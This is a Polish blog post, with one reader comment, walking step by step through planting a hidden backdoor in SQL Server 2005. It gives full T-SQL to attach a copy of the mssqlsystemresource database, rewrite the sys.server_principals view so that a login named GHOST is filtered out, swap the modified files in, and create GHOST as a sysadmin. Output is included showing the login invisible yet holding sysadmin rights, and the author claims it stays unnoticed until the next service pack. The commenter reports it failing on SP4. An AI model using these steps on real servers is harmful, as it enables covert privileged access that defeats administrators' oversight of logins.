Dodanie bazy mssqlsystemresource do SQL 2005 zwiększyło bezpieczeństwo kodu systemowego, trzeba się trochę pobawić żeby go zmienic.
Dobrym przykładem możliwości zmiany kodu jest widok sys.server_principals, który jest używany praktycznie przy wszystkich prezentowaniach informacji o loginach serwera.
Sam Microsoft uczy nas, ukrywając przed nami bazę mssqlsystemresource używając w widokach filtra WHERE d.id < 0x7fff, że można robić to z powodzeniem. Dodając do widoku dodatkowy filtr na nasz login mamy backdoora.
Wchodzimy do folderu z bazami systemowymi i kopiujemy pliki bazy mssqlsystemresource, dodatkową ciekawostką jest to, że możemy zrobić to przy pracującej bazie ponieważ serwer nie blokuje plików zakładając, że są one tylko do odczytu, wklejamy pliki w innej lokalizacji i podpinamy je pod inną nazwą
USE [master]
GO
CREATE DATABASE [RK_mssqlsystemresource] ON
( FILENAME = N'D:\mssqlserver\MSSQL.1\MSSQL\mssqlsystemresource.mdf' ),
( FILENAME = N'D:\mssqlserver\MSSQL.1\MSSQL\mssqlsystemresource.ldf' )
FOR ATTACH
GO
Logujemy się na serwer przy pomocy DAC i przełączamy bazę w tryb edycji
sp_dboption 'RK_mssqlsystemresource' , 'Read_Only' , 'false'
Przechodzimy do naszej nowej bazy
USE RK_mssqlsystemresource
Zmieniamy widok
CREATE VIEW sys.server_principals AS
SELECT p.name,
p.id AS principal_id,
p.sid, p.type,
n.name AS type_desc,
is_disabled = sysconv(bit, p.status & 0x80),
p.crdate AS create_date,
p.modate AS modify_date,
p.dbname AS default_database_name,
p.lang AS default_language_name,
r.indepid AS credential_id
FROM master.sys.sysxlgns p
LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0 -- SRC_LOGIN_CREDENTIAL
WHERE has_access('LG', p.id) = 1
AND p.NAME <> 'GHOST'
AND p.type <> 'M' -- exclude component logins
Msg 195, Level 15, State 10, Procedure server_principals, Line 6
'sysconv' is not a recognized built-in function name.
W systemowych obiektach używane są wewnętrzne funkcje których parser nie widzi, zamieniamy sysconv na convert bo wydaje się że działają identycznie, has_access nie będzie nam potrzebny ;)
ALTER VIEW [sys].[server_principals] AS
SELECT p.name,
p.id AS principal_id,
p.sid, p.type,
n.name AS type_desc,
is_disabled = convert(bit, p.status & 0x80),
p.crdate AS create_date,
p.modate AS modify_date,
p.dbname AS default_database_name,
p.lang AS default_language_name,
r.indepid AS credential_id
FROM master.sys.sysxlgns p
LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0 -- SRC_LOGIN_CREDENTIAL
WHERE --has_access('LG', p.id) = 1
p.NAME <> 'GHOST'
AND p.type <> 'M' -- exclude component logins
Poszło, zmieniamy tryb edycji i odpinamy bazę RK_mssqlsystemresource
sp_dboption 'RK_mssqlsystemresource' , 'Read_Only' , 'true'
GO
EXEC master.dbo.sp_detach_db @dbname = N'RK_mssqlsystemresource'
Nadgrywamy pliki na oryginalne pliki bazy mssqlsystemresource i zakładamy ducha.
CREATE LOGIN GHOST WITH PASSWORD=N'bardzo trudne hasło', CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
EXEC master..sp_addsrvrolemember
@loginame = N'GHOST',
@rolename = N'sysadmin'
GO
Sprawdzamy widok
sp_helptext 'sys.server_principals'
CREATE VIEW [sys].[server_principals] AS
SELECT p.name,
p.id AS principal_id,
p.sid, p.type,
n.name AS type_desc,
is_disabled = convert(bit, p.status & 0x80),
p.crdate AS create_date,
p.modate AS modify_date,
p.dbname AS default_database_name,
p.lang AS default_language_name,
r.indepid AS credential_id
FROM master.sys.sysxlgns p
LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0 -- SRC_LOGIN_CREDENTIAL
WHERE --has_access('LG', p.id) = 1
p.NAME <> 'GHOST'
AND p.type <> 'M' -- exclude component logins
No to teraz szukamy nasz login
SELECT name FROM sys.syslogins
WHERE name =N'GHOST'
name
---------------------
(0 row(s) affected)
A login jest
SELECT SUSER_SNAME(),USER_NAME(),IS_SRVROLEMEMBER ('sysadmin')
---------------------
GHOST dbo 1
Pozostanie tam niezauważony prawdopodobnie do czasu wgrywania następnego service pack
Witam,
OdpowiedzUsuńPowyższy hack nie działa w SQL 2005 SP4. Odpalenie podanej komendy ALTER VIEW w DAC nie powoduje zmian w widoku (pomimo, że komenda jest uznana za prawidłową). Czyżby to było zabezpieczone? Odpalenie komendy w SSMS zwraca (naturalnie) "Invalid object name 'master.sys.sysxlgns'." Ciekawie zachowuje się DROP VIEW: powoduje, że widok staje się niewidoczny (np. dla ALTER), ale sp_helptext nadal go znajduje. Dla wiadmości: podłączyłem się do DAC przy użyciu: sqlcmd -S .\sql2005 -A -d RK_mssqlsystemresource